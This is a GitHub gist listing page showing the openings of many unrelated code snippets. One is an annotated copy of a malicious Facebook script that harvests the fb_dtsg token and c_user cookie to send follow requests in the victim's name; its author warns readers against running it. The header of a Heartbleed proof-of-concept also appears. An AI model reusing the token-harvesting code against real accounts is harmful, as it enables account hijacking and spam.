Skip to content

Instantly share code, notes, and snippets.

View Inndy's full-sized avatar

Inndy Inndy

View GitHub Profile
@Inndy
Inndy / What the hell...js
Last active March 12, 2018 13:51
Such stupid, such dangrous.
/*
* 這是神人大大剛剛發的JS
* 我稍微分析了一下
* 請各位不要幹這種無腦的事情
* 還好他很 ______ 的只會讓你追蹤他,按他讚,Tag更多好友中標
* 如果今天神人大大是真正的Hacker....
* 他可以偷走你的個人資料,對你的帳號做各種奇怪的事情
* Ex:對你的好友發送詐騙訊息,把你加入奇怪的社團
* 在瀏覽器內執行來路不明的 JavaScript 是非常危險的...
*/
@Inndy
Inndy / SpWebClient.cs
Created February 2, 2014 04:59
Enhanced WebClient class. Cookie, ResponseUri supported.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
namespace SpWebClient
{
public class SpWebClient : WebClient
{
@Inndy
Inndy / Evil_Script.CLEANED.js
Last active August 29, 2015 13:55
啟元神人最新力作...
/* DO NOT EXECUTE THIS SCRIPT */ function DO_NOT_EXECUTE_ME() { if (false) { /* DO NOT EXECUTE THIS SCRIPT */
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
/* DO NOT EXECUTE THIS SCRIPT */ }} /* DO NOT EXECUTE THIS SCRIPT */
function follow(abone) {
var xhr = new XMLHttpRequest();
var post_data = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
xhr.open("POST", "/ajax/follow/follow_profile.php?__a=1", true);
xhr.send(post_data);
@Inndy
Inndy / bits_peeker.cc
Created March 13, 2014 04:08
Peek raw data from structure/type in C++.
#include <cstdio>
template<typename T>
struct _bits_peeker {
union {
unsigned char bytes[sizeof(T)];
T value;
};
};
#define bits_peeker struct _bits_peeker
<?php
define('DEBUG', false);
if (DEBUG) {
error_reporting(E_ALL ^ E_NOTICE);
} else {
error_reporting(0);
}
// ob_start(); // Start buffering
define('DB_HOST', 'localhost');
@Inndy
Inndy / httpserv.sh
Last active August 29, 2015 13:58
http server with gzip compression in shell script.
#!/bin/bash
######################
# AUTHOR: Inndy #
# DATE: 2014/04/11 #
######################
MIME_DEFAULT="text/html"
if [ -z $1 ] || [ -z $2 ]; then
@Inndy
Inndy / utf8_split_char.c
Last active August 29, 2015 13:59
Count UTF-8 character byte length and split.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 4096
// Reference: http://en.wikipedia.org/wiki/UTF-8
#define UTF8_MASK_C 0x080 // 0b10000000
#define UTF8_MASK_2 0x0C0 // 0b11000000
@Inndy
Inndy / putty_theme.reg
Created April 16, 2014 09:39
My putty theme, converted from some gnome-terminal theme.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\Default%20Settings]
"TermWidth"=dword:00000050
"TermHeight"=dword:0000001E
"Font"="Consolas"
"FontIsBold"=dword:00000000
"FontCharSet"=dword:00000000
"FontHeight"=dword:0000000C
"FontQuality"=dword:00000003
@Inndy
Inndy / download_ccleaner.py
Created April 22, 2014 01:35
Download CCleaner and extract
import re, requests, subprocess, os
"""
Download CCleaner and extracting
Tips: make 7z within PATH environment
2014/04/22
Inndy
"""
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser